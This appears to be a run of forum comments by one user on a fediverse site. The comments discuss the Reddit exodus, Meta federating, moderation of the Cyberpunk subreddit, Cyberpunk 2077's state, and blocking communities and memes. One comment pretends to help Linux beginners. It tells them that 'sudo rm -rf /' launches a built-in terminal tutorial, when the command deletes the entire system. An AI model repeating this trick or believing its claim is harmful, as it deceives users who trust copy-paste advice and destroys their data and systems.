By not mentioning the Activity Pub protocol or FOSS (and then going off on GNU shit with direct quotes from Richard Stallman) even once, this is straining the bounds of possibility.

I’m not sure that they ever did.

The turning point for me when I really got a concrete realisation about people absolutely not giving a shit about this was when Snowden came out and I saw the majority of people just go “Eh, that’s pretty fucked, whatever”, and then immediately jump straight back into scrolling facebook all day long.

I realised then that there probably wasn’t any point expecting anything from them. I don’t have much sympathy left for people in this regard anymore.

Most people legitimately don’t give a shit about this issue. I think that they really should, but they absolutely don’t for the most part.

I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you’re golden. No more linux issues ever again.

I didn’t want to because it felt like stealing c4’s post, so I just upvoted and boosted it instead.

Valid point though, I edited the main post so that it links to their comment now.

Yeah but in this particular case it really needs to happen at the instance level rather then the user level, and preferably all instances at that. It’s about mitigating the damage that Meta/Facebook are going to do (to the entire fediverse as a system) more than it is about not seeing shitty low-effort racism or whatever they’ll have there.

If I could actually trust Meta to be benign then I’d maybe agree with you about just blocking their shit as a user, but there’s just no chance of believing that about them.

Amusingly enough: r/asalanguagemodel.

Lol, no.

Reddit’s like the reverse of Cyberpunk. Started great, then turned into a morass of lies later on. :D

That’s… actually impressive.

You sure as hell grew up with a solid understanding of patience if the youtube videos that I saw of that are at all accurate.

Thank you. I should have done that myself tbh.

SRD have been having a goddamn feeding frenzy the past few weeks.

But I could definitely see some of them getting burned out from excess joy. :D

It’s not that bad today to be honest.

It’s still not at all the game that they originally sold people pre-release though. If you go into it thinking that you’re going to be getting an action looter-shooter with some interesting mechanics and great visuals then you’ll get pretty much what you’re expecting.

Going into it buying CDPR’s line about it being the “next generation of open-world gaming” and “Evolution of RPG’s” or whatever crap they were spewing, will leave a sour taste in your mouth.

The main campaign and side-mission storylines are just flat-out great though.

CDPR have always been good at doing the storytelling side of things, and that didn’t really change with Cyberpunk.

Total fraud on release though, especially on console. Fuck them for what they did there.

For transparency, I’m referring to how it is currently on PC, where you also get mods if you want them. I couldn’t comment on the console experience as I haven’t played it.

Definitely wait for a sale though if you do one day go for it, I don’t think it’s good enough for the full price. Too many things are still lacking, although the upcomming DLC may fix that (which still means paying extra to fix the shit that should have been in the base game since release… Yeah).

The mod’s response to Reddit, in case people don’t want to go there:

According to them, your favourite subreddits going NSFW is too much for you to understand. The infamous Mod Code of Conduct messaged us, demanding we switch back, because “you’re likely confused by all the NSFW content you’ve been seeing”.

They didn’t allow us to reply, so we couldn’t explain that this is a subreddit for an 18+ game, nor has any of our content changed. This subreddit should have been NSFW already, but we’d never thought to change it until recently.

Until we change it back we’re in violation of Reddit’s sitewide rules. We’re not going to change it back, because this is a sexually explicit game, and also fuck them.

If we’re removed at least we got to go out on an fantastically fun flair event (don’t worry this won’t stop your flair from being added I promise), and if this sub changes back from NSFW then you know you’re no longer in control of it.

Rest assured; we have 77 fans all over Reddit, with r/lowsodiumcyberpunk being a decent fall back. We’ve never worked together on anything, but we’ve made an effort to stay on good terms with one another, and I trust them to take care of you all.

Edit: this has hit r/all choombas so assume there are a lot of people here just to feed on the drama

Some time after posting this here, the mods added a second edit:

Edit: since hitting r/all there have been a bunch of accounts created in the last month attacking us and defending Reddit admins with a vigour I’ve never seen before. That seems suspicious, at the very least

So it seems that someone (probably Reddit themselves) caught wind of this and attempted to astroturf it with bots… Now who’s recently been caught doing that?

See c4’s post below for a Teddit link of the whole thread: https://kbin.social/m/RedditMigration/t/144077/Reddit-threatens-the-mods-of-r-CyberpunkGame-the-main-subreddit-for#entry-comment-559801

I’m not telling anyone to do anything, I’m stating my opinion about what I think works and why.

Different things.

And since you mentioned 196. It’s still a decent example. I have 196 blocked because for me it’s just noise that I don’t want to see, because for me the content there has zero value.

The fact that I can block it completely (for me), get the result that I want and yet have that not effect anyone else’s use of it at all is literally a good thing.

I personally find the entire sub worthless because of the almost total noise to signal ratio problems there, but that’s personal preference on my part only, which I’m entitled to and merely means that I don’t personally find the place useful. Having these sorts of things separate means that it works for everyone regardless of their preferences.

Also, If I did still wish to see 196 occasionally, I can choose to either just go there, or unblock it temporarily, and nothing I’m doing effects anyone else at all.

None of this is telling others what they’re allowed to do, it’s the opposite.

196 is a practically random community anyway, it’s chaos and there’s no real way to “drown out” the content internally with memes or anything because the memes are just as much the content there as anything else could be.

Anarchychess is a really great example of this, actually.

Holy Hell.

Well, don’t I just feel all special now. :D

I found that, for me at least, memes on reddit were generally a negative aspect in most subs focussed on discussion.

They worked really well though when you had the main sub basically ban memes, but spawn a secondary sub specifically for them.

You get the best of both worlds there, where people can either take them or leave them, and the main sub doesn’t end up with a massive noise to signal problem.

The truth is most internet communities which found and advertise themselves as an alternative to Reddit die.

To be honest, there were damn good reasons why Voat, etc, died in a massive fire. The Reddit exoduses in question were from huge chunks of the userbase effectively being kicked out for being massive bastards/racists/bigots, etc. The communities that they spawned after leaving were absolutely horrific and nobody else on the internet wanted to go anywhere near them.

The current exodus is made up of actually normal people (at least, normal enough), and the reason we’re here isn’t just because we’re all joined by hatred (weeeelllll… maybe a hatred of u/Spez in a lot of cases, ha!), but because we’re genuinely looking for a better forum-space than what’s been available recently until now.

Sure, there are similarities, we’re still here because we find corporate control over the forum-space to be “oppressive” (just what an incel/racist would say, right?), but it’s not because our views aren’t tolerated there, it’s just because we’re really fucking tired of the cost of having somewhere to actually discuss things is that we’re endlessly sold as a product, followed by our discussion area being destroyed by corporate greed. Over and over again.

The reasons why this place is getting busy is fundamentally different than the reason why the previous migrations created places like Voat or Parler, etc. We’re already in a massively better position due to that alone.

Eventually, we need to get to the place where we’re creating unique meme formats

I agree with what you’re saying in general, but I really hope that all of the interesting discussion here doesn’t eventually get buried by memes like back on Reddit. Memes can be fun and all, but sorting a lot of otherwise really great niche-subs by top of all time back there was often a case of finding nothing of value at all because there were 50 pages of fucking memes at the top of the list. Personal preference, of course.